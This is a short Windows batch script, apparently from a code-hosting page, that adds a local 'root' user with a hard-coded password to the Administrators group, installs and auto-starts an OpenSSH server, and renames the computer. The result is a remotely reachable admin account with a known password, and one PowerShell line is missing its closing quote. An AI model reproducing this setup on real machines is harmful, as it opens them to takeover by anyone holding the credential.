8 lines
408 B
Batchfile
8 lines
408 B
Batchfile
@ECHO OFF
|
|
net user root Slncsgldn555 /add
|
|
net localgroup Administrators root /add
|
|
powershell -Command "& {Add-WindowsCapability -Online -Name OpenSSH.Client*;Add-WindowsCapability -Online -Name OpenSSH.Server*;}"
|
|
WMIC ComputerSystem where Name='%computername%' call Rename Name='%1'
|
|
powershell -Command "& {Start-Service sshd;}"
|
|
powershell -Command "& {Set-Service -Name sshd -StartupType 'Automatic';}
|
|
PAUSE |